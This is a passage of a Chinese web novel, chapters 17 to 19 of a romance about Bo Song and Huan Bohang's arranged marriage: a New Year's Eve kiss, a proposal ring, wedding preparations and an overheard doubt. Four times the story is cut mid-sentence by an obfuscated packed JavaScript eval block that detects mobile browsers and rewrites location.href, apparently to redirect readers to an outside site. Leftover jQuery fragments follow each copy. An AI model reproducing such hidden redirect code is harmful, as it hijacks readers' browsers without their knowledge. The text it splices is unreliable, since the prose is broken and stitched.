薄淞弯腰,打算为自己再满一杯,手却用力抖了下,杯子差点没拿稳,他觉得手臂好重,索性从沙发上起身,茶几和沙发间隙铺着柔软地毯,他径直坐了下去。 指尖触上酒瓶时,被握住,相贴的皮肤传来灼烫热意。 “你醉了。” 桓柏蘅声音从耳边飘进,带来的震颤踩在薄淞心尖。 “...没有。” 他比平常放开许多的行为,无不显示着他确实醉了的事实。 桓柏蘅眸光垂下,落在人涣散的眼底,半晌,松开了手。 他自己,或许也没清醒到哪去。 为了更好的欣赏夜景,厅内没开灯,只有外头高楼的灯和月光透进来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15345445|167880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,轻纱般笼在地面,也笼在两人身上。 薄淞放下酒杯。 玻璃身倾斜,歪倒,摔落...动静消弭在厚实的地毯里,月光融进他眼底,温润明亮。 他慢半拍才记得弯腰去够,桓柏蘅已经先一步拿起酒杯,放上了茶几。 “快零点了吗?”好半天,薄淞才问。 昏沉感愈演愈烈,眩晕的频率高了很多。 他现在承认,他醉了,不止是酒,面前的人更是让他醉得不知今夕何夕。 “两分钟。”桓柏蘅回答。 薄淞轻轻地点了点头,“那快了。” 他想第一个和桓柏蘅说新年快乐。 “去睡吗?”桓柏蘅却说。 薄淞撑着眼皮,是不解的,“不跨年了吗?” 明明已经快零点了,就差那么一点。 “你看着很累。” “...” 薄淞觉得,就算很累,他也可以等的,他想告诉桓柏蘅,要等,对方的声音先一步响起。 “因为结婚的事吗?” 结婚?薄淞混沌的大脑挣出两个字,唇角微微漾起笑,是要结婚的。 他因为这两个字而幸福的当下,没注意到桓柏蘅此刻漠然的眼神,随后冰冷残酷的话语砸下,在这样美好的夜晚,在薄淞罕有的幸福的时刻,终结掉美梦。 他说,“累的话,就不结了吧。” 寒风凛冽席卷。 薄淞唇角的笑意凝滞,眼底明亮的光彩点点黯淡,他呆呆地坐着,整整半分多钟,才猛的打了个寒颤。 浑身发冷。 以至于他感觉自己忽然全身轻飘飘的,飘在半空中,低头瞧着浑浑噩噩的□□,空洞而苍白地望向说出这句话的人。 倒数的巨大喧哗此刻自下方传来,新年快到了。 薄淞茫然望向明亮温暖的窗外世界,万家灯火,人们在期待中迎来新的一年,前一分钟他也是的,而此刻只能艰难的撑起自己,却因为无力打翻了盛放一半的红酒瓶,弄湿了整片地毯。 猩红映入眼底,汩汩冒出血液般浓稠的酒液。 薄淞大脑轰鸣,他盯着那抹红,悲哀地意识到,如果桓柏蘅真的不跟他结婚,桓柏蘅应该就是世界上最狠心的刽子手,一句话,就把他凌迟了。 尸骨无存。 只能庆幸酒精大概是麻痹了痛意,因此他还感受不到痛苦,只是狼狈的挣扎着好几次,爬起,站稳。 桓柏蘅抬头,仰视也足够居高临下,把他当作笑话。 薄淞觉得更冷了。 他听见自己急促的呼吸,喘不上气,不知所措,想逃离,于是他叫桓柏蘅的名字,“...我先回去了。” 薄淞虚浮的脚步后退,没有继续留在这的意义,可为什么明明被耍的狼狈,却仍旧连质问的勇气都没有,质问桓柏蘅凭什么这么对他。 倒数的声音仍在继续,眼前的视线不受控模糊,颠倒,新年的钟声被敲响,悠悠荡荡的长鸣飘至上空时,心脏猛的悬空。 他被并不平整的地毯绊倒,或是站不稳而向后倒去,狼狈而难堪...可并没等来预想中的疼痛,颠倒的世界重新拼凑出清晰画面。 桓柏蘅拉住了他,陷进沙发里。 咫尺的距离。 轰鸣的钟声。 面前人深邃而冷漠的眸子。 新年到了。 “薄淞。”桓柏蘅神情倨傲,遥不可及,高高在上,偏偏冷淡的嗓音吐出温情不过的话语,他说“新年快乐。” 薄淞瞳孔倏而放大。 桓柏蘅倾身,吻了下来。 17. 第 17 章 唇舌柔软炙烫,覆上,离开。 薄淞看清桓柏蘅的脸。 欢呼,雀跃,自下方盘旋而上,喧嚣和安静,形成最鲜明的对比,已经不知道哪个是梦境。 桓柏蘅从薄淞身上起来时,薄淞抬手,掩住了眼睛。 月光温柔覆上,无声地安抚。 他才渐渐听到感受到更多声音,酒杯的碰撞,风吹进来布料的摩挲,以及脚步踩在地板上的响动... 薄淞撑着身体坐起,桓柏蘅离开的背影刺激大脑神经。 “你去哪?” 嗓音嘶哑,带了点颤抖的湿意,让离开的脚步微顿。 桓柏蘅说,“酒打翻了,拿纸。” 薄淞恍惚意识到自己的失态,他望向地毯,红色晕染开,湿透了一片。 跨年结束后,欢呼渐渐散去,听不分明了,薄淞坐在沙发上,大脑是更深的空白,想桓柏蘅说的不结婚了,也迷乱于刚才的那个太不真实的吻。 比起结婚的形式主义,桓柏蘅和他接吻,让他陷入新一轮的迷茫中。 他应该仔细思考,为什么桓柏蘅吻他,可酒精麻痹的大脑实在太乱了,根本提不起哪怕小点地方来思考这个问题,再加上不结婚的事.. “很晚了。”桓柏蘅的声音响起,他已经回来了,屈膝跪在地毯上,收拾茶几上的狼藉,他没抬头,也没分给薄淞一个眼神,只是带着不明显的命令,告诉薄淞,“你可以回房休息了。” “....” 其实有很多事情没弄清楚的,薄淞心想,可他点了点头,起身,径直往前...滚落的酒瓶盖子没被发现,成了又一次绊倒他的凶器。 这次他都没来及感受到颠倒的世界,手腕被攥紧,桓柏蘅起身,薄淞撞进宽厚温暖的胸膛,是和他想象中不一样的味道。 其实刚才桓柏蘅亲他,就闻到了。 他一直觉得桓柏蘅该是柑橘味道的,夏日午后的少年,张扬冷冽,带着拒人千里的微苦涩意,可实际是踏风雪归时温暖干燥的乌木沉香。 薄淞恍惚间听见桓柏蘅喊他,下秒手被松开,腰被箍紧,贴近,心跳咚咚砸在胸口,耳畔的气息湿热。 “学长。”桓柏蘅笃定的语气,“你醉了。” 醉了的男人才会这么一副姿态趴在他胸口,全身心信任的模样,褪去温文尔雅,不讲合不合规矩,会湿着瞳眸,抬起头...脆弱而撩人的模样。 薄淞闭眼,长睫颤着,承认道,“是。” 他是醉了,再没有清醒的那种醉。 桓柏蘅箍住他腰的手更紧了些,偏移开目光。 “去睡吧。” 他没再看薄淞,却也没让人自己回去,免得又哪磕了摔了,如果摔了的话...桓柏蘅强迫自己甩去脑中冒出的含着水汽的双眸。 薄淞可能会哭。 比他大三岁的男人,哭起来...很难看。 桓柏蘅抓过薄淞另一只手搭在肩头,把人往房间带。 - 薄淞一早醒来,口干舌燥。 他坐起身,陌生的房间布局,昨天夜里的记忆一股脑涌上来,没断片,却难得没有往常宿醉后的难受。 薄淞望向房间里的沙发,上面搭着桓柏蘅借给他的外套,他低头,家居服睡得凌乱。 这个点,他也该回去。 可结婚的事... 薄淞指尖触到唇瓣,热意缓缓爬上脸颊,唇角微微扬起的弧度又在中途止住。 意识混乱。 他怀疑酒精的后劲是不是并没完全消散。 薄淞觉得无所适从,且茫然,他平复好一阵心情,到窗前,从高层俯瞰。 白日里的商业街变得冷清,没了昨夜水泄不通万分拥挤画面,天空灰沉沉的,云层累在天边,像是又要一场雨。 窗前的画面很快开始模糊,倒退回昨晚画面,薄淞强制拉回出神的思绪,简单收拾好,转身出门。 外边没开灯,光线微弱昏暗,薄淞掩上门,往桓柏蘅房间去,到门口时注意到桓柏蘅的房门开着,人该是已经醒了。 指尖蜷紧,呼吸再次急促起来。 薄淞深深呼吸,平复好心情,抬步过去。 房间里没人。 微愣的间隙,却有动静从前边客厅传来,桓柏蘅在客厅里? 薄淞拐过两个转口,声音便清晰许多,传进耳朵,桓柏蘅在和人打电话,他脚步停住,犹豫着还应不应该往前,可他停着的位置,已经到客厅的转角。 桓柏蘅是侧身坐着的,像是感应到,眼皮撩起,视线便准确而轻飘的落在想掩藏的人身上。 薄淞身体定住,心跳同时加速,这一眼,再次勾起昨夜荒唐,桓柏蘅吻下来前,也是用这样的眼神看他。 冷漠的,无足轻重,像是对待一个毫不在意的人。 可偏偏吻是烫的,热的,它有温度。 桓柏蘅看了眼他,薄淞犹豫着想离开,步子却在下秒外放的扬声器里男声开口的话中顿住,僵硬,脸色也几乎瞬间苍白下来。 “没敢问你,这么多天你考虑得怎么样了?是不是不结婚了?” 郑云松是个八卦分子,只是这回多少带了点使命来的,许景渊也想知道,自从昨夜桓柏蘅和薄淞来环悦被人撞见,圈子里已经传开了。 桓柏蘅如果真要躲躲藏藏,大可以从私密点的通道走,而不是大摇大摆没任何掖着瞒着意思,大家也就当准备新婚的小两口特殊的节日里干点甜蜜的事情了。 知情人郑云松知道可不一定,毕竟桓柏蘅有“精神洁癖”,而薄淞...总之桓柏蘅找人“一拍两散”的机会比较大。 桓柏蘅好一阵没回答,看着面前的人缓缓垂下眼,立在原地。 “挂了。” 他说。 郑云松一愣,刚“哎”了两声,电话已然挂断,什么也没打听到,可桓柏蘅对这事心情不算好,还是决定不触人眉头。 桓柏蘅挂断电话,厅内沉默笼罩。 薄淞抬起头,眸中是没有光彩的,桓柏蘅没来由这么觉得,面前的人望着他,唇角牵出浅浅的一抹笑意,清醒的薄淞常有的不失礼貌却满是距离感温和的笑。 只是笑容比往常僵硬。 桓柏蘅看着他一步步走近至跟前。 “我们聊聊吧。” 薄淞的嗓音带着酒醉后的嘶哑。 很多事是得说清楚,不是不明不白就不会发生,如果桓柏蘅不要跟他结婚...薄淞安慰自己,起码还有一个吻聊以慰藉,哪怕只是桓柏蘅醉后不理智的吻。 可他所有崩溃的情绪昨夜借着酒意都不敢发泄,更何况是现在呢? 他清醒着,没有勇气,也没有立场。 结婚嘛,得两个人愿意,桓柏蘅不愿意了,他有什么资格歇斯底里,好像是被背叛的那一个? 可最后,他还是要为自己争取一下。 两人在沙发坐下,中间隔着距离,比朋友还要疏远的距离,薄淞不禁想,他和桓柏蘅是不是真的非常不投缘,也不合适,所以就算接触相处多此,成为朋友都难。 “我就直说了,关于结婚的事。”薄淞指尖用力掐了下手心,稳住声音的不颤抖,“为了这次婚礼,我们都投入不少时间和精力,双方家长知情,请柬和婚礼筹备也在最后一步,所以有可能的话...我还是希望我们的婚礼继续。” 桓柏蘅表情看不出情绪,也没表态。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15345446|167880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“我可以知道原因吗,是你想要的东西变了或是其他的?我的意思是,都可以再商量。到这一步我不想再折腾,所以只要在我可接受的范围内...我可以让出利益。” 薄淞试图冷静,可话早就漏洞百出,他们的婚姻原本就不涉及利益金钱,哪来的“让出”一回事。 他们婚姻的唯一变数,是桓柏蘅“想”或“不想”。 “没变。”桓柏蘅却只回答。 薄淞唇瓣张合几次,没再能说出什么,他再多的努力也抵不过这有力的两个字,没有原因,因为没打算给机会。 这一刻他才感受到心脏被利剑穿过的疼。 薄淞感觉力气被一点点掏空,他想自己此刻脸色应该不会好看,也怕维持不住分开的体面,既然已成定局,最后给人的印象,希望不要太糟糕。 他让自己保持住风度,点头,说,“好”。 桓柏蘅只是不想和他结婚了而已。 薄淞拢了拢领口,他已经换好了昨夜来时的衣服,怎么来的可以怎么走了。 他从沙发起身,“那我先回去了。” 桓柏蘅没作回答。 薄淞空洞的大脑浮出信息,说,“车钥匙麻烦给我一下。” 昨晚桓柏蘅开的他的车。 面前的人总算有了动作,桓柏蘅去拿钥匙,薄淞原地等着。 他往窗外看了眼,原先厚重的云层竟在短时间散去,隐约的金光迸射而出,刺疼了双眼,他微微眯了些眼睛,而再睁开,视线里多了只手。 桓柏蘅平摊的手心里放着把钥匙,和一个精美的丝绒盒子。 “学长,我觉得你好像弄错了点什么。”桓柏蘅的声音响起,一字一顿,清晰无比,他说,“我没打算悔婚。” “...” 桓柏蘅是没有说不结婚,可也只是没有明确说而已,薄淞不至于那么傻?而刚才那通电话更是表露无疑,可眼前的东西很真实,不可能是临时准备。 薄淞不明白。 可他感受到自己好像能重新自在呼吸,心脏缓而有力的跳动,他慢慢又活了过来。 “这是什么?” 长睫湿润,薄淞低头掩饰。 “补给你的。” “...” 薄淞接过,打开,眼底好不容易压下的雾气又一次涌蒙上,他得拼命扇动睫毛,才能扑去不合时宜的潮湿。 盒子里是枚戒指。 其实有猜到的,戒指盒的包装都差不多,而桓柏蘅并未多做装饰,应当是从柜台买了直接送给他,或许都不是亲自挑选的。 “不是婚戒,补给你的求婚戒指。” “...” “你可以走了。” 东西送出去,桓柏蘅说。 薄淞本来就是要走的,点头,攥紧戒指盒,紧紧抓在手心,却在离开前,没忍住说。 “头发还是擦干一些吧,冬天容易生病。” 桓柏蘅昨夜一身酒味,送薄淞回房后也睡了,早上起来收拾的,洗了头。 他一向没吹头发的习惯,这会水珠顺着发梢滴落在家居服,晕湿了后背小片布料,薄淞开始就注意到。 “哦。”桓柏蘅像是配合,随手勾起挂在沙发靠背的毛巾,弯腰的动作间隙撩了眼仍旧站在原地的人,没了原先绷着的冷淡,他挑眉,“不走?” 薄淞要走的,摇头的动作在桓柏蘅伸手,毛巾被递至跟前时止住。 “昨天送你回房的时候,把手腕筋扭着了。”桓柏蘅理直气壮,“作为报答,学长给我吹个头发,不过分吧?” “...” 如果逗弄他让桓柏蘅觉得有趣的话,薄淞想...他还是会心甘情愿。 18. 第18章 薄淞在手心里划过的发丝变得干燥时,拨回吹风机的档位,连带着把毛巾一块收好。 “我先走了。” 吹风机温度热,他捏的太紧,手心出了些汗。 桓柏蘅点头,目送人离开,好一阵,拿起手机,给郑云松发了条消息。 他说会和薄淞结婚。 其实很多事,并不需要那么在意,过去就是过去,谁能没有段前尘往事,更何况,薄淞那也不算前尘旧情。 桓柏蘅想起许景渊说的,薄淞有个暗恋多年爱而不得的对象。 是林序淮酒后断片吐出的只言片语。 可与他无关。 薄淞心里藏没藏着人,对他不重要,钟情谁都没差别,他只需要对方有足够的礼义廉耻,让他们的婚姻能正常维持就可以了。 他只是和薄淞结婚,无关心的归属,那便也无需在意那么多。 没必要,也浪费时间。 - 薄淞工作结束,本应变得闲暇,可临近的婚期使得他仍旧忙碌,他无暇再去想跨年夜桓柏蘅的举动,以及那个酒醉后似梦非梦的吻。 假期第三天,他和桓柏蘅一趟回了老宅,陪老爷子吃了饭,婚礼的策划同他们对细枝末节,地点在西郊的城堡庄园。 他们需要提前去一趟场地,好确定当天的走位。 鲜花,草地,蓝天,白云。 薄淞脚步踩在布置盛大的婚礼场地时,仍旧觉得巨大的不真实,风吹的周边林木作响,飘着的纯白纱带,梦幻浪漫。 “当天风不会这么大,都是可以正常进行的。” 婚策提高音量,开始一一讲解着婚礼细节,空运的鲜花会在清晨送到,宾客的位置,交换戒指,读承诺书... “到时候新人站在这就行。”两人被领至搭建的台子正中位置,“宣读誓言,互换戒指,之后新郎就可以亲吻新郎了。” “...” 话音落下,空旷的场地陷进一阵沉默,就连总是给予回应的薄淞也没回应。 婚策看着他们,犹豫着还是问了,“两位可以先商量好谁主动,到时候画面拍起来会好看些。” 话说的委婉,实则是担心到时候没人主动,婚礼冷场尴尬,他主持过不少这些利益联谊的家族婚礼,新人之间哪来爱情的火花,拒绝的也很多。 “可以取...” “能亲吗?” 两人同时开的口,薄淞一愣,目光才从婚策那转向桓柏蘅,怀疑自己是不是听错? 桓柏蘅愿意在那么多人的时候,和他接吻吗? 薄淞关注点在于接吻,以至于忽略这只是婚礼的正常仪式罢了,以至于有些过度惊讶而有的紧张时候的反应,抿着唇角,像是很不愿意。 于是下秒桓柏蘅的声音重新响起。 “取消吧。”声线明显冷了许多。 “...” 两人转完婚礼场地准备回去,薄淞自己开的车,桓柏蘅则是要回老宅,他答应爷爷多住两晚。 从城堡出来一路,气氛很压抑。 桓柏蘅浑身散着低气压,在不远处司机下车时更为明显,他脚步放缓,停下,偏头对上正望过来有些迟钝的人眼睛。 “走了。”他说。 薄淞往司机的方向看了眼,点头,“好。” “...” 两人的车子是挨着停放的,到车边时,薄淞打算再次告别,桓柏蘅已经先一步弯腰跨进车内,不等司机动作,自顾自拉上车门,砸出一声重重的响。 “...” 司机是宅子里老人了,打小瞧着桓柏蘅长大,也清楚人脾气性子,略带歉意冲着薄淞笑了笑,另一边绕回驾驶位。 车子开出去好远,薄淞停在原地,后知后觉,桓柏蘅好像又不高兴了。 他这回察觉到对方应该是因为他拒绝的事而不痛快,该是觉得丢了面子? 薄淞苦笑。 可他才是最后悔的啊,刚才怎么就没反应快一点,现在又怎么再去和桓柏蘅开口...估计也是不会再得到同意的。 - 婚期倒计时三天,薄淞忙的脚不沾地。 试婚服,试妆。 他其实非常不喜欢脸上带妆的感觉,老爷子很重视,说是婚礼就这么一次,样样得做到完美。 而说是妆,其实化男性的婚礼妆很淡,只是简单打个底,修修眉型,遮黑眼圈罢了,薄淞虽然别扭,可也接受了,倒是桓柏蘅抵触极为强烈。 甚至于因此和老爷子顶了两句嘴,然后摆着冷脸和他坐在了一块,化妆师手都抖了两抖。 然后又是繁琐的试礼服,礼服师托着下巴,从上至下一遍遍扫视,确保是不是该减少或是增添些服饰的点缀。 最后薄淞的胸口被添了点紫色宝石做的流苏。 化妆师又上前,往他唇上补了口红,薄淞看着镜子中“盛装”的自己,轻不可闻地叹出口气。 “我以为你挺乐意的。” 耳边轻飘飘传来句似嘲讽非嘲讽的话,薄淞看过去,难得这两天桓柏蘅主动开口。 大概是婚礼的繁琐让他不悦,以及薄淞先前的拒绝还让他不爽,所以桓柏蘅的冷脸除了无差别对待其他人,对他更为严重。 薄淞柔缓的语气和桓柏蘅站在统一战线,“不乐意,麻烦死了。” 桓柏蘅上上下下扫视,他目光落在那张化了淡妆的脸上,吐出字,“那你去跟老爷子说不弄。” 薄淞像是为难,长睫眨了两下,轻声说,“那是你爷爷,我不敢。” “...” 桓柏蘅转过头。 又喝酒了?对着他眨眼什么意思?而且薄淞这样的人,也会背地里抱怨吗?抱怨的对象还是长辈? 薄淞试图观察着桓柏蘅面色是否缓和,刚往前仰了点身子,桓柏蘅转了回来。 不偏不倚和他视线撞在一块,他心里一咯噔,面前人并无半点缓和下来的面色,一字一顿。 “你觉得自己这样很可爱吗?” “...” 桓柏蘅觉得,薄淞作出和外在人设不同的模样冲着他,就是在装可爱,这两天他也看出对方想跟他和解的意思,无非就是上次的事,他又不是很在乎,所以其实完全没必要。 可看着薄淞从被抓包的怔愣到几分羞窘尴尬,又莫名快意了些。 “很奇怪。”他说,“我一点没觉得可爱。” “...” - 薄淞的示好在桓柏蘅“不留情面”的真实评价下惨淡收场,整个上午他都没好意思直视桓柏蘅,也就察觉不到对方的情绪其实是有了好转,起码下午走流程的时候,桓柏蘅没再这么不耐烦。 婚礼事宜整整两天才算交代结束,就等后天的正式婚礼了。 婚礼前一天,新人不能见面。 当然,这样的规矩对于两人来说是完全不成问题的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15345447|167880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有特殊情况或是强制两人共同出席的场合,他们本身就不会有多余的想要见面的意思。 薄淞回了趟家。 薄家也布置的喜气,到处张贴着红色的喜字,一家人吃了顿饭,薄淞离开前,薄妈妈拉住儿子的手。 “回去早些休息,明天是好日子,爸爸妈妈祝福你。” 他们的婚礼没有正常婚礼那么多细节的流程,“接亲堵门”环节也是取消的,所以不需要桓柏蘅上门接他,毕竟真堵上门,被他的朋友刁难两句...怕是婚礼都得中途取消。 所以他们直接到现场准备,化妆换礼服,等待下午的仪式。 当然,婚礼虽然没有伴郎伴娘,可当天事情自然多,也需要朋友来帮忙,很多事情得亲近的人做,薄淞请了林序淮,薄家父母不需要那么早过去。 “好。妈,不是一直希望我结婚吗?开心点。” 薄淞拍了拍薄妈妈的手,笑着说。 “妈妈是开心,就是舍不得。” 薄妈妈感性,眼眶红了圈。 婚姻的意义代表着一个新家庭的组建,薄淞不成婚在父母前面永远就是个孩子,虽然成了婚当然也是孩子,但也会觉得孩子有了自己新的归属,彻底长大了。 薄妈妈的安慰工作由薄爸爸负责,薄淞和爸爸交换眼神,上了车。 心情也并不平静。 从刚开始知道可能会跟桓柏蘅结婚的难以置信,像是不真实的梦,到确定后又生怕对方反悔的不安忐忑,跨年夜的崩溃,这几天的筹备,短短一个月,他算是把悲喜尝遍了。 而到此刻,亲戚朋友们从不同的地方正陆续过来,庆贺他的婚礼。 他微信上久不活跃的大学宿舍群热闹起来,他的室友们今天都会到,刚才还约了晚上一块吃个饭。 是真的,他要结婚了,和桓柏蘅。 薄淞心潮不平静的起伏一路,驶进小区地下车库,接到林序淮电话时,才从期待紧张中脱离出来,多了点甜蜜的烦恼。 明天婚礼现场,也不知道林序淮见到桓柏蘅该是怎样一副场面? 想到两人都有些直白的“小性子”,薄淞有点点“小烦恼”了。 - 婚礼当天,果不其然是个好天气。 薄淞八点整到的现场,林序淮也刚到。 “今天辛苦你了。” 林序淮扯了扯嘴角,“你结婚你最大。” 薄淞笑笑,”谢谢。” 城堡外边便已经能闻到花香,等两人进了里头,香味越发浓烈,薄淞看见前几日搭建的婚礼舞台浸在了玫瑰海中。 法国清晨空运而来的白玫瑰,带着采摘没多久的露水朵朵娇翠欲滴,不似红玫瑰艳丽张扬,如梦似幻,整个婚礼色调以浅色的蓝白为主,是他的想法。 林序淮揪了一朵边边角角的花,花瓣被蹂躏片片碎在地上时,薄淞被前来的婚礼执行带走。 新郎得开始换衣服,做造型。 现在还不需要林序淮帮忙,因此林序淮还是自由之身,薄淞和他道别,他便扬着笑脸,等人离开,笑意才缓缓从脸上褪去,他垂眸望着手里的花,心里滋味复杂。 可不等他渐渐生出难过的情绪,一道熟悉的声音身后响起。 “美人,好久不见。” 恶劣的,调笑的,让他记起那个荒唐不止的夜晚,男人按住他手腕,身躯滚烫而沉实... 林序淮脸色彻底阴沉下来。 19. 第19章 薄淞原本还对八点到达的时间存在些许疑问,毕竟婚礼举行时间在下午,这会才发现时间一点不够用,化完妆换好衣服,已经十点半,接下来需要拍摄几组婚礼照片。他和桓柏蘅完全没拍过婚前照,得临时补,方便婚礼上使用。 “他人呢?”桓老爷子收拾的精神,面上洋溢不住的喜气,从早上到这会笑容就没停下过,直至看见原本应该乖乖呆在化妆间的自家孙子没了。 化妆师犹豫着张口前薄淞先道。 “我东西忘在房间里,他帮我去拿了。”薄淞当着面对老人家撒谎几分不自在,抿了抿唇,“他已经化好了。” 桓柏蘅不耐心化妆师在脸上弄,老爷子不在的一会功夫,人已经离开。可真要实话说了,估计桓柏蘅又得挨骂,薄淞替人掩护,往化妆师那看去一眼,化妆师明白意思,咽回嘴里的话。 其实也确实化好了,长成那样没什么能再修饰的,眉毛都又厚又密,老天赏饭吃的脸,化妆师给不少豪门的少爷小姐化过妆,先前都差点看入迷手抖。她庆幸手没真抖,不然这脾气看起来实在不好的大少爷估计不止是冷脸了,可能直接给她丢出去。 那她名声可全毁了。 化妆师心里嘀咕着,桓老爷子在知道桓柏蘅不是自己跑走的,脸色缓和过来,又后知后觉说是帮薄淞拿东西,顿时觉得孙子还是懂事的,结婚了就该相互照顾,有没有感情不重要,相敬如宾彼此扶持也够了。 “应该的,不过这去多久了,还没回来。” 老爷子打算找人去喊,薄淞赶紧站起来,“我去吧,正好我想起来还有个东西没拿。” 老爷子点点头,挥挥手让薄淞去了,镜子前摆了摆领结,好像有些歪了啊? 薄淞看了眼老爷子,拿过桌上手机,离开了化妆间。 城堡一楼是晚宴举办的大厅,二三层是休息间,提供给前来参加婚礼的宾客住的,门口贴有名字牌,薄淞和桓柏蘅的是相挨着的,在扶梯往上的的两间。 桓柏蘅那间的门开着,薄淞迟疑了会,过去。 这个点宾客没到,二楼很安静,薄淞走至门边时,听见谈话声里头传来,他一愣,脚步顿住。 这个声音他听很多遍,之前给桓柏蘅打过电话。 郑云松。 薄淞脑子里冒出这个名字。 上次听到电话内容不是他本意,他也不想窥探桓柏蘅和朋友之间的聊天内容,可又想到要拍照的事,因此犹豫了那么两秒,最后还是打算放弃离开前,里头一句话让他步子变得沉重。 “你真想好了要跟他结婚?现在后悔还来得及。” “...” 郑云松最后一遍确认,哪怕他也明白,都已经到这会,桓柏蘅应该是下了决定。。 “我反正是觉得结婚不合适可以离,不是什么大事,但你不一样啊,你应该是不想离婚的吧。” 桓柏蘅这方面是有些保守,不是亲近的人不清楚。 “你也别嫌我多嘴,你知道的,真兄弟我才劝你。“郑云松呼出口气,看了眼桓柏蘅,还是说了,“心里装着人,哪天那个人一出现魂都没了,这样的婚姻能长久吗?” 话语从房间里清晰传进薄淞耳朵,而后便是冗长一阵沉默。 桓柏蘅迟迟未答。 薄淞立在门边,等了许久,时间像是被无限延长,可始终安静,便没有再等下去的意义。 他后退一步,想着先走,淡淡的回复落进耳边。 “总得结婚的。”桓柏蘅说,“是谁都一样。” 意料之中的回答。 薄淞眼睫轻颤,转身离开。 桓柏蘅不喜欢他这件事,是不需要怀疑的,而桓柏蘅有个喜欢的人...他也知道。 所以不是那个人,是谁便也无所谓。 他应该当作不知情。 喜欢一个不喜欢自己的人,可以是心甘情愿,可喜欢一个心里有别人的人...哪怕他没有半分争抢的意思和资格,也会觉得难堪。 而正是因为知道那个人的存在,桓柏蘅提出跟他结婚时,他的第一反应是,桓柏蘅是在赌气,只是随便找一个人气气对方,或许是闹矛盾又或许其他原因? 这样的桥段剧情才更符合桓柏蘅和他提出结婚的初衷。 可事实不是,桓柏蘅是要跟他结婚,无关于刺激谁,原因理由他便再无从猜测。 他给桓柏蘅七天时间考虑,桓柏蘅给了他答案,他就不想再退让,至于桓柏蘅心里有谁,他不再去想。 直至郑云松的话让他避不可避意识到这个现实,而桓柏蘅的回答...薄淞明白,他是备用人选。 他不知道桓柏蘅为什么和那个人结不了婚,也清楚或许某一天,他会成为那个被放弃的不再有用的碍眼的存在...心里装着一个人,那个人一出现,魂都随着对方了。 没人比薄淞更理解这样的感受。 桓柏蘅会跟他离婚,如果那一天到来的话。 可这并不妨碍他想继续这一场婚姻,毕竟如果足够幸运,他还是可以在提心吊胆忐忑不安中,和桓柏蘅过上大半辈子。 拥有对方很多个日日夜夜。 他想和桓柏蘅结婚。 是不会动摇的事情。 - 休息室里,桓柏蘅话音落下,郑云松憋了很久,还是没憋住,“你不要转移话题,你答的和我问的是一回事吗?你又不真急着结婚,老爷子是催你可也是你亲爷爷,你要是跟你爷爷如实说了,他肯定也不会让这婚礼成的。” 老爷子可以接受这段婚姻不存在爱情,但也会是一条船上的利益共同体,但如果薄淞心里有别人,不只精神上的不忠贞,也怕日后会带来别的麻烦。 会伤害到桓柏蘅的事,老爷子丝毫不能容忍。 所以郑云松说的完全没问题,可桓柏蘅拒绝了。 “麻烦。”他说,“这个不结过个两年再催我?云松,我觉得很累。” 桓柏蘅怕累怕麻烦,郑云松知道,可他还是觉得哪怪异,总不能怕麻烦,连底线都丢了?他再次劝阻,“那万一他婚后出轨呢?” 桓柏蘅脸色沉了下来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15345448|167880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “...”郑云松自觉说错话,讪讪道,“我也相信学长不会,可景渊不都说了,他暗恋那个人七年,这可是整整七年啊,真要是那个人愿意,你觉得你们这半点实质约束力都没有的婚姻能有多重要?” “...” 郑云松嘴巴上损桓柏蘅厉害,可到底还是从小长大的情分,自然真心向着桓柏蘅,见人不说话,直接拍板道。 “你不说我去跟爷爷说,起码爷爷有知情权,结不结让爷爷决定。” 郑云松起身就要去,被桓柏蘅拦住,着急上火,”不是,你就非要跟他结婚是吧?其他人就不行啊?” 脱口而出的话却在一瞬间让郑云松醍醐灌顶,眼底缓渐浮上难以置信,在桓柏蘅用力收紧又松开的拽着他的力道上,桓柏蘅否认,“当然不是,我说了麻烦,仅此而已。” 